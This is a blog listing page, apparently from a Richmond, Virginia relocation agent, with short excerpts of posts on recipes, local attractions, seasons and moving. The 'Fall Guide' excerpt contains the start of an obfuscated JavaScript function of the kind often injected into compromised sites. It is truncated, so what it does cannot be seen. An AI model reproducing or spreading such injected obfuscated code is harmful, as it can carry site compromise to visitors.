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My Hands Down, All Time, Favorite Brussels Sprouts for Thanksgiving
Full disclosure- this is not my recipe, but one I found a few years ago on ABeautifulPlate.com. I've made it many, many times since, though. The crispy, roasted Brussels sprouts, the creamy, slightly sweet chunks of butternut squash, studded wi...
10 Things I Love About Richmond
Over the last couple of years, I've helped lots and lots of people move to the Richmond area from other parts of the country and one of the biggest questions I get is obviously, why Richmond? What makes it so great anyway? So I'm going to g...
2022 Richmond Fall Guide
If you’re looking for some fun fall activities in Richmond, Virginia, check out my 2022 RVA Fall Guide! Click the link below to get your copy today! https://bit.ly/3y8T9ev function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8(...
Back to School, Firepits with Friends, and Football- All Perfect for Chili
As we head in to fall, having a great chili recipe (and a crockpot!) on hand is crucial. With back to school, football Sundays, and busy weeknights, it's definitely one of my favorites for making things easy. Here's one of my favor...
End of Summer in Richmond
August Means Catching the Last Gasp of RVA Summer Here are a few of my favorites: Head to RVA Big Market Saturdays at Bryan Park from 8-1 and get allll the great produce. Make something you've never made, or just enjoy something simple ...
I Scream, You Scream…
It's National Ice Cream Day! I'm celebrating with some of my RVA ice cream (or ice cream like) favorites. I've always loved ice cream. I mean, what says celebration, and summer, as much as ice cream? Just like so many things, I have a hard ...
What’s on YOUR Summer “Must Do” List?
Every season (or every season I remember to do it) I come up with a "must do" list. Doing this sort of forces me to be mindful about the things I appreciate, and it goes hand in hand with my gratitude practice. It helps keep me focused on the t...
Home Sweet Home…Now What?
Home Sweet Home The movers are gone, and you’re surrounded by boxes. Overwhelmed? Now what? To get settled in as quickly and as possible, Mary suggests you start with the areas that will allow you to get back into your daily routin...